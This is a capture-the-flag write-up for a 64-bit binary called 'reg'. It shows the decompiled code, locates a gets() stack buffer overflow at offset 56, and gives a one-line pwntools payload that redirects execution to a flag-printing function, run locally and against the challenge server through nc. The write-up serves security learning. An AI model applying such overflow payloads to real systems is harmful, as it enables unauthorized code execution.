Reg
3 minutes to read
We are given a 64-bit binary called reg
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can use Ghidra to analyze the binary and look at the decompiled source code in C. This is main
:
int main() {
run();
return 0;
}
Let’s see run
:
void run() {
char local_38[48];
initialize();
printf("Enter your name : ");
gets(local_38);
puts("Registered!");
return;
}
The binary is vulnerable to Buffer Overflow since there is a variable called local_38
that has 48 bytes assigned as buffer, but the program is using gets
, which is an insecure function because it does not limit the length of the input data, thus overflowing the reserved buffer if the size of the input data is greater than 48 bytes.
We can check that it crashes in this situation:
$ ./reg
Enter your name : asdf
Registered!
$ python3 -c 'print("A" * 100)' | ./reg
Enter your name : Registered!
zsh: done python3 -c 'print("A" * 100)' |
zsh: segmentation fault (core dumped) ./reg
The program crashes because we overwrote the saved return address and when the program tries to return, it finds out an invalid memory address.
Due to the fact that it is a 64-bit binary without canary protection, the offset needed to overflow the buffer and reach the stack is 56 (because after the reserved 48 bytes, the saved value of $rbp
is saved, and right after, the saved return instruction).
Anyway, we can use a pattern string in GDB to find out the offset:
$ gdb -q reg
Reading symbols from reg...
(No debugging symbols found in reg)
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./reg
Enter your name : aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Registered!
Program received signal SIGSEGV, Segmentation fault.
0x00000000004012ac in run ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 56 (little-endian search) likely
[+] Found at offset 49 (big-endian search)
Looking again at the decompiled source code, there is a function called winner
:
void winner() {
char local_418[1032];
FILE *local_10;
puts("Congratulations!");
local_10 = fopen("flag.txt", "r");
fgets(local_418, 0x400, local_10);
puts(local_418);
fclose(local_10);
return;
}
This function opens flag.txt
and prints out the content.
The address of this function is fix because the binary has no PIE protection, we can see it using GDB, readelf
or objdump
:
gef➤ p winner
$1 = {<text variable, no debug info>} 0x401206 <winner>
gef➤ quit
$ readelf -s reg | grep winner
75: 0000000000401206 100 FUNC GLOBAL DEFAULT 13 winner
$ objdump -d reg | grep winner
0000000000401206 <winner>:
So, the idea is to exploit the Buffer Overflow vulnerability and modify the saved return instruction so that we can call winner
and read the flag. Let’s do it locally:
$ echo 'HTB{f4k3_fl4g_f0r_t3st1ng}' > flag.txt
$ python3 -c 'from pwn import os, p64; os.write(1, b"A" * 56 + p64(0x401206) + b"\n")' | ./reg
Enter your name : Registered!
Congratulations!
HTB{f4k3_fl4g_f0r_t3st1ng}
zsh: done python3 -c |
zsh: segmentation fault (core dumped) ./reg
Notice that we need to add a new line character at the end because gets
expects that character to stop reading.
Alright, it’s time to try remotely:
$ python3 -c 'from pwn import os, p64; os.write(1, b"A" * 56 + p64(0x401206) + b"\n")' | nc 178.62.39.153 30785
Enter your name : Registered!
Congratulations!
HTB{N3W_70_pWn}